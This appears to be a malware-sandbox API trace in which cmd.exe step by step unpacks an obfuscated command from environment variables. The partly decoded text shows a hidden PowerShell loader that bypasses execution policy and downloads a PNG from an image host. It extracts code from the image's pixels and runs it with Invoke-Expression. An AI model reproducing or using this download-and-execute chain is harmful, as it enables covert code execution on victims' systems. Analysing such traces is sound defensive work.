Zn10..H'+'2('+'))\\Fl66pBBQI'+'GCV'+'GCVaKFl66pBBQI37s.aEe'+'GCVGCVyZ7el1Fl66pBBQI7,'+'Fl6'+'6pBBQI_'+')[Fl66pBBQImQI'+'{Fl66pBBQI'+'_*H28+Fl66pBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66pBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaLuE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e ) ^^^|GCVyPj4ERsheZVElL -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3QI9`GCVyAjhjh -nPjGCVy]PjzEhIle -VDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Yo") returned 0x611 [0102.330] GetConsoleTitleW (in: lpConsoleTitle=0x12ea10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.331] wcsncmp (_String1="_'*{", _String2="/", _MaxCount=0x4) returned 48 [0102.336] GetEnvironmentVariableW (in: lpName="_'*{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGCV suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3k9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBk37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3k9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BkVsK_X.'+'png9a7'+'))['+'Fl66pBBk'+'mkaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\Fl66pBBk'+'GCV'+'GCVaKFl66pBBk37s.aEe'+'GCVGCVyZ7el1Fl66pBBk7,'+'Fl6'+'6pBBk_'+')[Fl66pBBkmk'+'{Fl66pBBk'+'_*H28+Fl66pBBk7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBkGCVGCV.B-3k9an37Dn5)*Dn6)-3k9X]'+'1Fl66pBBkGCV'+'GCV.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3k9le:e*XbGCV).VaLuE.InFl6PjkEVDaXmBkanD.IqFl6NVPjkesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e ) ^^^|GCVyPj4ERsheZVElL -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3k9`GCVyAjhjh -nPjGCVy]PjzEhIle -VDaPjmBkAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Yo") returned 0x5f2 [0102.336] GetConsoleTitleW (in: lpConsoleTitle=0x12eaa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.336] wcsncmp (_String1="`}~", _String2="/", _MaxCount=0x4) returned 49 [0102.340] GetEnvironmentVariableW (in: lpName=";`}~", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qFl6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'Fl66pBBk37s'+'aKFl] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11Fl] qFl6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRea3719a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgFlDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'Fl66pBBk'+'mkaKFl] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\Fl66pBBk'+'t'+'taKFl66pBBk37s.aEe'+'ttyZ7el1Fl66pBBk7,'+'Fl6'+'6pBBk_'+')[Fl66pBBkmk'+'{Fl66pBBk'+'_*H28+Fl66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBktt.B-3k9an37Dn5)*Dn6)-3k9X]'+'1Fl66pBBkt'+'t.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1Fl66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3k9le:e*Xbt).VaLuE.InFl6PjkEVDaXmBkanD.IqFl6NVPjkesVDaRZty%11Ljh eqFl6NV:s3L]V).Fl6aL3e ) ^^^|tyPj4ERsheZVElL -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -VDaPjmBkAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Yo") returned 0x5b6 [0102.340] GetConsoleTitleW (in: lpConsoleTitle=0x12e950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.341] wcsncmp (_String1="+?.", _String2="/", _MaxCount=0x4) returned -4 [0102.343] GetEnvironmentVariableW (in: lpName="+?.,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBk37s'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRea3719a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eac%zEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBk37s.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9an37Dn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZty%11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -nXqf6NZqf6N%E]aVDa%I -qf6NXlPj -4Zqf6N %zEhI3737en -e7ecu%IPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -VDaPjmBkAqf6N37 ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cm37.e7E cgc oa37Z/Yo") returned 0x593 [0102.345] GetConsoleTitleW (in: lpConsoleTitle=0x12e860, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.345] wcsncmp (_String1="']", _String2="/", _MaxCount=0x4) returned -8 [0102.347] GetEnvironmentVariableW (in: lpName="']", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@s%zEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-%'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRead19a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eac%zEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZty%11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -nXqf6NZqf6N%E]aVDa%I -qf6NXlPj -4Zqf6N %zEhIdden -e7ecu%IPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -VDaPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% ) ^&^& cmd.e7E cgc oadZ/Yo") returned 0x584 [0102.355] GetConsoleTitleW (in: lpConsoleTitle=0x12e7a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.355] wcsncmp (_String1="[$#?", _String2="/", _MaxCount=0x4) returned 44 [0102.358] GetEnvironmentVariableW (in: lpName="[$#?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{sTRInaEPjy{VDaTzEhA]Pjy#H).ReplaVDaE11{VDaTzEhA]Pjy98+{VDaTzEhA]Pjy8#+{VDaTzEhA]PjyDn06),{sTRInaEPjy{VDaTzEhA]PjyDn2H).ReplaVDaE11{VDaTzEhA]PjyDnDn8+{VDaTzEhA]Pjy5H+{VDaTzEhA]Pjy8Dn),{sTRInaEPjy{VDaTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -nXqf6NZqf6NTE]aVDaTI -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -VDaPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT ) ^&^& cmd.e7E cgc oadZ/Yo") returned 0x584 [0102.360] GetConsoleTitleW (in: lpConsoleTitle=0x12e680, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.360] wcsncmp (_String1="}\\", _String2="/", _MaxCount=0x4) returned 78 [0102.365] GetEnvironmentVariableW (in: lpName="}\\", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkECXmBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -nXqf6NZqf6NTE]aCTI -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -CPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:CXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT ) ^&^& cmd.e7E cgc oadZ/Yo") returned 0x55e [0102.365] GetConsoleTitleW (in: lpConsoleTitle=0x12e710, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.365] wcsncmp (_String1="*.@", _String2="/", _MaxCount=0x4) returned -5 [0102.367] GetEnvironmentVariableW (in: lpName="*.@", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkECXmBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -nXqf6NZqf6NTE]aCTI -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -CPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:CXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x55e [0102.369] GetConsoleTitleW (in: lpConsoleTitle=0x12e710, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.369] wcsncmp (_String1="*}", _String2="/", _MaxCount=0x4) returned -5 [0102.374] GetEnvironmentVariableW (in: lpName="*}", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'ob') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'Eob1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*obt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -noqf6NZqf6NTE]aCTI -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -CPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-LQoIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x55e [0102.374] GetConsoleTitleW (in: lpConsoleTitle=0x12e650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.374] wcsncmp (_String1="`._", _String2="/", _MaxCount=0x4) returned 49 [0102.377] GetEnvironmentVariableW (in: lpName="`._", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'X') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e ) ^^^|tyPj4ERsheZVElL -noqf6NZqf6NTE]aCTI -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh -nPjty]PjzEhIle -CPjmBkAqf6Nd ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-LQoIn'')1@ZnpuT ) ^&^& cmd.e7E cgc %adZ/Y%") returned 0x55b [0102.380] GetConsoleTitleW (in: lpConsoleTitle=0x12e500, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.380] wcsncmp (_String1="\\#", _String2="/", _MaxCount=0x4) returned 45 [0102.386] GetEnvironmentVariableW (in: lpName="\\#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'X') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 